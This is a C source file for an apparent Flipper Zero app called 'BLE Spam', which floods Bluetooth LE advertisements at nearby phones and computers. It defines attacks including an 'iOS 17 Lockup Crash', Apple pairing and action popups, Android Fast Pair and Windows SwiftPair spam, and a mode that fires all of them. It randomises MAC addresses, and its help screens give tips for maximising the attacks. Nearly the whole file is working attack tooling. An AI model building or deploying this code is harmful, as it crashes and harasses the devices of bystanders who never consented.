ble_spam.c 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390
  1. #include <gui/gui.h>
  2. #include <furi_hal_bt.h>
  3. #include <gui/elements.h>
  4. #include "protocols/_registry.h"
  5. // Hacked together by @Willy-JL
  6. // Custom adv API by @Willy-JL (idea by @xMasterX)
  7. // iOS 17 Crash by @ECTO-1A
  8. // Android and Windows Pairs by @Spooks4576 and @ECTO-1A
  9. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  10. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  11. typedef struct {
  12. bool random_mac;
  13. const BleSpamProtocol* protocol;
  14. BleSpamMsg msg;
  15. } Payload;
  16. typedef struct {
  17. const char* title;
  18. const char* text;
  19. Payload payload;
  20. } Attack;
  21. static Attack attacks[] = {
  22. {
  23. .title = "+ Kitchen Sink",
  24. .text = "Flood all attacks at once",
  25. .payload =
  26. {
  27. .random_mac = true,
  28. .protocol = NULL,
  29. .msg = {},
  30. },
  31. },
  32. {
  33. .title = "iOS 17 Lockup Crash",
  34. .text = "Newer iPhones, long range",
  35. .payload =
  36. {
  37. .random_mac = false,
  38. .protocol = &ble_spam_protocol_continuity,
  39. .msg =
  40. {
  41. .continuity =
  42. {
  43. .type = ContinuityTypeCustomCrash,
  44. .data = {},
  45. },
  46. },
  47. },
  48. },
  49. {
  50. .title = "Apple Action Modal",
  51. .text = "Lock cooldown, long range",
  52. .payload =
  53. {
  54. .random_mac = false,
  55. .protocol = &ble_spam_protocol_continuity,
  56. .msg =
  57. {
  58. .continuity =
  59. {
  60. .type = ContinuityTypeNearbyAction,
  61. .data = {},
  62. },
  63. },
  64. },
  65. },
  66. {
  67. .title = "Apple Device Popup",
  68. .text = "No cooldown, close range",
  69. .payload =
  70. {
  71. .random_mac = false,
  72. .protocol = &ble_spam_protocol_continuity,
  73. .msg =
  74. {
  75. .continuity =
  76. {
  77. .type = ContinuityTypeProximityPair,
  78. .data = {},
  79. },
  80. },
  81. },
  82. },
  83. {
  84. .title = "Android Device Pair",
  85. .text = "Reboot cooldown, long range",
  86. .payload =
  87. {
  88. .random_mac = true,
  89. .protocol = &ble_spam_protocol_fastpair,
  90. .msg =
  91. {
  92. .fastpair = {},
  93. },
  94. },
  95. },
  96. {
  97. .title = "Windows Device Found",
  98. .text = "Requires enabling SwiftPair",
  99. .payload =
  100. {
  101. .random_mac = true,
  102. .protocol = &ble_spam_protocol_swiftpair,
  103. .msg =
  104. {
  105. .swiftpair = {},
  106. },
  107. },
  108. },
  109. };
  110. #define ATTACK_COUNT ((signed)COUNT_OF(attacks))
  111. uint16_t delays[] = {20, 50, 100, 200};
  112. typedef struct {
  113. bool resume;
  114. bool advertising;
  115. uint8_t delay;
  116. FuriThread* thread;
  117. int8_t index;
  118. } State;
  119. static int32_t adv_thread(void* ctx) {
  120. State* state = ctx;
  121. uint8_t size;
  122. uint16_t delay;
  123. uint8_t* packet;
  124. uint8_t mac[GAP_MAC_ADDR_SIZE];
  125. Payload* payload = &attacks[state->index].payload;
  126. if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  127. while(state->advertising) {
  128. if(payload->protocol) {
  129. payload->protocol->make_packet(&size, &packet, &payload->msg);
  130. } else {
  131. ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
  132. &size, &packet, NULL);
  133. }
  134. furi_hal_bt_custom_adv_set(packet, size);
  135. free(packet);
  136. if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  137. delay = delays[state->delay];
  138. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  139. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  140. furi_hal_bt_custom_adv_stop();
  141. }
  142. return 0;
  143. }
  144. static void toggle_adv(State* state) {
  145. if(state->advertising) {
  146. state->advertising = false;
  147. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  148. furi_thread_join(state->thread);
  149. if(state->resume) furi_hal_bt_start_advertising();
  150. } else {
  151. state->resume = furi_hal_bt_is_active();
  152. furi_hal_bt_stop_advertising();
  153. state->advertising = true;
  154. furi_thread_start(state->thread);
  155. }
  156. }
  157. #define PAGE_MIN (-3)
  158. #define PAGE_MAX ATTACK_COUNT
  159. enum {
  160. PageHelpApps = PAGE_MIN,
  161. PageHelpDelay,
  162. PageHelpDistance,
  163. PageStart = 0,
  164. PageEnd = ATTACK_COUNT - 1,
  165. PageAboutCredits = PAGE_MAX,
  166. };
  167. static void draw_callback(Canvas* canvas, void* ctx) {
  168. State* state = ctx;
  169. const char* back = "Back";
  170. const char* next = "Next";
  171. switch(state->index) {
  172. case PageStart - 1:
  173. next = "Spam";
  174. break;
  175. case PageStart:
  176. back = "Help";
  177. break;
  178. case PageEnd:
  179. next = "About";
  180. break;
  181. case PageEnd + 1:
  182. back = "Spam";
  183. break;
  184. }
  185. const Attack* attack =
  186. (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
  187. const Payload* payload = &attack->payload;
  188. const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
  189. canvas_set_font(canvas, FontSecondary);
  190. canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
  191. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  192. switch(state->index) {
  193. case PageHelpApps:
  194. canvas_set_font(canvas, FontBatteryPercent);
  195. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  196. elements_text_box(
  197. canvas,
  198. 4,
  199. 16,
  200. 120,
  201. 48,
  202. AlignLeft,
  203. AlignTop,
  204. "\e#Some Apps\e# interfere\n"
  205. "with the attacks, stay on\n"
  206. "homescreen for best results",
  207. false);
  208. break;
  209. case PageHelpDelay:
  210. canvas_set_font(canvas, FontBatteryPercent);
  211. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  212. elements_text_box(
  213. canvas,
  214. 4,
  215. 16,
  216. 120,
  217. 48,
  218. AlignLeft,
  219. AlignTop,
  220. "\e#Delay\e# is time between\n"
  221. "attack attempts (top right),\n"
  222. "keep 20ms for best results",
  223. false);
  224. break;
  225. case PageHelpDistance:
  226. canvas_set_font(canvas, FontBatteryPercent);
  227. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  228. elements_text_box(
  229. canvas,
  230. 4,
  231. 16,
  232. 120,
  233. 48,
  234. AlignLeft,
  235. AlignTop,
  236. "\e#Distance\e# is limited, attacks\n"
  237. "work under 1 meter but a\n"
  238. "few are marked 'long range'",
  239. false);
  240. break;
  241. case PageAboutCredits:
  242. canvas_set_font(canvas, FontBatteryPercent);
  243. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  244. elements_text_box(
  245. canvas,
  246. 4,
  247. 16,
  248. 122,
  249. 48,
  250. AlignLeft,
  251. AlignTop,
  252. "App+Spam: \e#WillyJL\e# XFW\n"
  253. "Apple+Crash: \e#ECTO-1A\e#\n"
  254. "Android+Win: \e#Spooks4576\e#\n"
  255. " Version \e#2.0\e#",
  256. false);
  257. break;
  258. default: {
  259. if(!attack) break;
  260. char str[32];
  261. canvas_set_font(canvas, FontBatteryPercent);
  262. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  263. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  264. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  265. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  266. canvas_set_font(canvas, FontBatteryPercent);
  267. snprintf(
  268. str,
  269. sizeof(str),
  270. "%02i/%02i: %s",
  271. state->index + 1,
  272. ATTACK_COUNT,
  273. protocol ? protocol->get_name(&payload->msg) : "Everything");
  274. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  275. canvas_set_font(canvas, FontPrimary);
  276. canvas_draw_str(canvas, 4, 32, attack->title);
  277. canvas_set_font(canvas, FontSecondary);
  278. canvas_draw_str(canvas, 4, 46, attack->text);
  279. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  280. break;
  281. }
  282. }
  283. if(state->index > PAGE_MIN) {
  284. elements_button_left(canvas, back);
  285. }
  286. if(state->index < PAGE_MAX) {
  287. elements_button_right(canvas, next);
  288. }
  289. }
  290. static void input_callback(InputEvent* input, void* ctx) {
  291. FuriMessageQueue* input_queue = ctx;
  292. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  293. input->type == InputTypeRepeat) {
  294. furi_message_queue_put(input_queue, input, 0);
  295. }
  296. }
  297. int32_t ble_spam(void* p) {
  298. UNUSED(p);
  299. State* state = malloc(sizeof(State));
  300. state->thread = furi_thread_alloc();
  301. furi_thread_set_callback(state->thread, adv_thread);
  302. furi_thread_set_context(state->thread, state);
  303. furi_thread_set_stack_size(state->thread, 4096);
  304. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  305. ViewPort* view_port = view_port_alloc();
  306. Gui* gui = furi_record_open(RECORD_GUI);
  307. view_port_input_callback_set(view_port, input_callback, input_queue);
  308. view_port_draw_callback_set(view_port, draw_callback, state);
  309. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  310. bool running = true;
  311. while(running) {
  312. InputEvent input;
  313. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  314. bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
  315. bool advertising = state->advertising;
  316. switch(input.key) {
  317. case InputKeyOk:
  318. if(is_attack) toggle_adv(state);
  319. break;
  320. case InputKeyUp:
  321. if(is_attack && state->delay < COUNT_OF(delays) - 1) {
  322. state->delay++;
  323. }
  324. break;
  325. case InputKeyDown:
  326. if(is_attack && state->delay > 0) {
  327. state->delay--;
  328. }
  329. break;
  330. case InputKeyLeft:
  331. if(state->index > PAGE_MIN) {
  332. if(advertising) toggle_adv(state);
  333. state->index--;
  334. }
  335. break;
  336. case InputKeyRight:
  337. if(state->index < PAGE_MAX) {
  338. if(advertising) toggle_adv(state);
  339. state->index++;
  340. }
  341. break;
  342. case InputKeyBack:
  343. if(advertising) toggle_adv(state);
  344. running = false;
  345. break;
  346. default:
  347. continue;
  348. }
  349. view_port_update(view_port);
  350. }
  351. gui_remove_view_port(gui, view_port);
  352. furi_record_close(RECORD_GUI);
  353. view_port_free(view_port);
  354. furi_message_queue_free(input_queue);
  355. furi_thread_free(state->thread);
  356. free(state);
  357. return 0;
  358. }